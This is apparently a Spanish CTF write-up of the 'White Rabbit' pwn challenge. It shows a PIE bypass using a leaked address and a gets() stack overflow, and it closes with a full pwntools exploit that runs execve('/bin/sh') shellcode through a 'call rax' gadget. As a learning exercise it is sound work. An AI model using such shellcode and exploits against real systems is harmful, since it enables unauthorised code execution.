xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



World Wide

White Rabbit



Reversing


Si ejecutamos el binario nos muestra una dirección en x64 que por ahora no sabemos que es y nos parece que espera algo, probablemente necesitemos enviar una entrada

❯ ./white_rabbit

  (\_/)
  ( •_•)
  / > 0x6319864fd180

follow the white rabbit...  
AAAAAAAABBBBBBBB

Iniciamos desensamblando el main main, este inicia llamando a printf mostrando en formato %p como puntero la dirección de la función main cargada en memoria

Podemos comprobarlo desde gdb, corremos y comprobamos que la dirección mostrada es la del main y pertenece al binario, si le restamos la dirección base del binario obtenemos el offset, entonces al restar 0x1180 al leak obtenemos la base

❯ gdb -q white_rabbit
Reading symbols from white_rabbit...
pwndbg> r
Starting program: /home/user/white_rabbit 
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

  (\_/)
  ( •_•)
  / > 0x555555555180

follow the white rabbit...
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7d1ba61 in __GI___libc_read (fd=0, buf=0x7ffff7e03963 <_IO_2_1_stdin_+131>, nbytes=1)  
pwndbg> x/i 0x555555555180
   0x555555555180 <main>:	push   rbp
pwndbg> vmmap 0x555555555180
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /home/user/white_rabbit
►   0x555555555000     0x555555556000 r-xp     1000   1000 /home/user/white_rabbit +0x180
    0x555555556000     0x555555557000 r--p     1000   2000 /home/user/white_rabbit
pwndbg> p/x 0x555555555180 - 0x555555554000
$1 = 0x1180
pwndbg>

Podemos automatizar todo este proceso desde un exploit en python, recibimos la dirección y le restamos el offset para obtener la dirección base del binario

#!/usr/bin/python3
from pwn import gdb, log

shell = gdb.debug("./white_rabbit", "continue")

shell.recvuntil(b"> ")
binary_base = int(shell.recvline().strip(), 16) - 0x1180  

log.info(f"Binary base: {hex(binary_base)}")

shell.interactive()

Al ejecutar el exploit nos muestra la dirección base que calculamos del binario y si la comparamos con lo que nos devuelve gdb del proceso actual es la misma, de esta forma logramos evadir la protección PIE que aunque esta activa deja de afectarnos

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 29067
[*] running in new terminal: ['/usr/bin/gdb', '-q', './white_rabbit']  
[*] Binary base: 0x60dbb4bd2000
[*] Switching to interactive mode

follow the white rabbit...
$

^C
Program received signal SIGINT, Interrupt.
0x00007e8f3fd1ba61 in __GI___libc_read (fd=0, buf=0x7e8f3fe03963 <_IO_2_1_stdin_+131>, nbytes=1)  
    at ../sysdeps/unix/sysv/linux/read.c:26
pwndbg> vmmap white_rabbit
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
►   0x60dbb4bd2000     0x60dbb4bd3000 r--p     1000      0 /home/user/white_rabbit
►   0x60dbb4bd3000     0x60dbb4bd4000 r-xp     1000   1000 /home/user/white_rabbit
►   0x60dbb4bd4000     0x60dbb4bd5000 r--p     1000   2000 /home/user/white_rabbit
►   0x60dbb4bd5000     0x60dbb4bd6000 r--p     1000   2000 /home/user/white_rabbit
►   0x60dbb4bd6000     0x60dbb4bd7000 rw-p     1000   3000 /home/user/white_rabbit
    0x7e8f3fc00000     0x7e8f3fc28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
pwndbg>

Luego de todo el leak muestra un mensaje con puts y llama a la función follow

La función follow llama a gets para recibir datos en un buffer en rbp - 112, como no se controla la cantidad de datos a recibir tenemos un posible buffer overflow


Explotación


Iniciamos mirando las protecciones con checksec, en este binario solo está habilitado el PIE que vuelve aleatoria la dirección base del binario, sin embargo ya la tenemos

❯ checksec white_rabbit
[*] '/home/user/white_rabbit'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing  
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments

Podemos crear un payload, enviaremos 112 A's para rellenar el buffer antes de rbp, 8 B's que seran el valor de rbp en el leave y 8 C's que tomaran el valor del return address, y finalmente algunas D's que simplemente se guardarán en el stack

❯ python3 -q
>>> b"A" * 112 + b"B" * 8 + b"C" * 8 + b"D" * 24
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD'  
>>>

❯ gdb -q white_rabbit
Reading symbols from white_rabbit...
pwndbg> r
Starting program: /home/user/white_rabbit
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

  (\_/)
  ( •_•)
  / > 0x555555555180

follow the white rabbit...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD  

Program received signal SIGSEGV, Segmentation fault.
0x000055555555517f in follow () at warmup.c:11
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe2b8:	0x4343434343434343
pwndbg> x/s $rsp+8
0x7fffffffe2c0:	'D' <repetidos 24 veces>
pwndbg>

Ya que controlamos el return address y los datos del stack podriamos intentar saltar al rsp y ejecutar el shellcode, sin embargo no hay ningun gadget que lo ejecute

❯ ropper --file white_rabbit --jmp rsp  

JMP Instructions
================

0 gadgets found

Podemos aprovecharnos del hecho de que gets como return value devuelve un puntero al buffer de destino, por lo que en rax que es donde se guarda el valor de retorno deberiamos tener una dirección que apunta al inicio de nuestro buffer

pwndbg> x/s $rax
0x7fffffffe240:	'A' <repetidos 112 veces>, "BBBBBBBBCCCCCCCC", 'D' <repetidos 24 veces>  
pwndbg>

Si miramos con ropper direcciones a donde podemos saltar encontramos varias instrucciones que llaman a rax, con lo que volveriamos al inicio del input

❯ ropper --file white_rabbit --jmp rax  

JMP Instructions
================

0x0000000000001014: call rax;
0x00000000000010bf: jmp rax;
0x0000000000001100: jmp rax;

3 gadgets found

Iniciamos con un shellcode el cual nos ejecutara una /bin/sh, rellenamos con A's hasta llegar al return address, en el ejecutaremos el call rax que llama al inicio del buffer y como en el inicio enviamos el shellcode se ejecutará y nos dará la shell

#!/usr/bin/python3
from pwn import process, p64, asm

shell = process("./white_rabbit")

shell.recvuntil(b"> ")
binary_base = int(shell.recvline().strip(), 16) - 0x1180  

shellcode = asm("""
    push 0x3b                 # execve()
    pop rax                   # $rax = execve()

    mov rdi, 0x68732f6e69622f # $rdi = "/bin/sh"
    push rdi                  # $rsp = &"/bin/sh"
    push rsp                  # &"/bin/sh"
    pop rdi                   # $rdi = &"/bin/sh"

    cdq                       # $rdx = NULL
    push rdx                  # $rsp = &0x0
    pop rsi                   # $rsi = NULL

    syscall                   # system call
""", arch="amd64")

offset = 120
junk = b"A" * (offset - len(shellcode))

payload  = b""
payload += shellcode
payload += junk
payload += p64(binary_base + 0x1014) # call rax;

shell.sendlineafter(b"...\n", payload)
shell.interactive()

❯ python3 exploit.py
[+] Starting local process './white_rabbit': pid 27593  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$